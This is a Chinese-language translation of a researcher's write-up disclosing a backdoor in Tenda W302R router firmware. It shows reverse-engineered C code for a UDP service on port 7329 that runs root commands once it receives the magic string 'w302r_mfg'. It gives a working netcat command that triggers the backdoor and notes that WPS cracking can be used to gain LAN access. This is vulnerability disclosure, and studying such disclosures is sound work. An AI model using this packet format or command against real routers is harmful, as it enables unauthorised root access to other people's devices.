現在再發一個路由器製造商——Tenda——產品中帶有後門(此連結為英文連結),只要用一個UDP包就可以破解,免得大家以為我專黑D-Link。提取了Tenda的W302R無線路由器最新韌體之後,我開始檢視/bin/httpd,發現它是一個GoAhead伺服器。
/bin/httpd中的伺服器頭字串,但是騰達自己做了很多特殊的修改。在進入HTTP接收回環之前,主函式呼叫了InitMfg函式,它會把MfgThread函式衍生出一個分離的執行緒:
嗯……InitMfg函式和MfgThread?是不是和加工函式有關?有意思哈……
MfgThread第一件事就是建立一個UDP套接字,然後繫結到7329埠上:
建立UDP套接字,並繫結到埠7329。這個程式接著進入一個frecvfrom迴圈中,從套接字裡讀取至多128個位元組。而且要求收到的每個UDP包至少有14位元組大:
從套接字中讀取資料包並檢查大小,現在進入關鍵了,收到的UDP包就誒這被這段程式碼解析:
處理收到的資料包,用C語言解析這段程式碼的話是這樣的:
1 2 3 4 5 6 |
memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); |
如果特殊字串不匹配,停止處理該資料包並等待另一個包
1 |
if(strcmp(rx_magic_string, "w302r_mfg") != 0) |
我們可以看出這個執行緒在等待帶有如下結構體的資料包:
1 2 3 4 5 6 |
struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; }; |
只要手打的資料包以字串“w302r_mfg”開頭,程式碼就會和三個ASCII字元(’1′, ‘x’, and ‘e’)對位元殊指令字:
將指令字與 ’1′, ‘x’ and ‘e’相比較,為了方便,我把剩下的反彙編程式碼(起碼是重要的部分)轉換成C程式碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop; |
下面的動作對應三個可接受的命令字:
- ‘e‘用預定義的字串進行回覆,主要是ping測試
- ’1′允許你執行iwpriv命令
- ‘x’允許你以根使用者許可權執行任何命令
如果’x’作為命令字,資料包命令字後面的提示符(上面的程式碼中稱為command_arg)被傳遞給call_shell函式,它通過popen執行命令。
不僅如此,call_shell用命令的輸出填充tx_buf,如同我們在前面的C程式碼中開到的,輸出最後會發回客戶端!在知道MfgThread的功能以及它等待的資料包結構,我們可以很容易用netcat利用這個後門:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin |
就是這麼個小玩意,但是關鍵在於後門只能監聽LAN,因此無法從WAN上使用。然而,它可以通過無線網路來利用,前提是無線網路預設開啟WPS,且無強制速率限制。我的ReaverPro工具箱可以相對更快地破解WPS以接入WLAN,隨後獲得路由器的根許可權(路由器一般有預設WPA鑰,你可以先嚐試一下):
破解WPS的PIN
開啟telnetd獲取根許可權
根據那個神奇字串來看,這個後門很可能先在騰達的W302R上出現,也存在於W330R,以及重新命名的型號,比如Medialink MWN-WAPR150N,他們都是利用同樣的“W302r_mfg”這個資料包字串進行破解。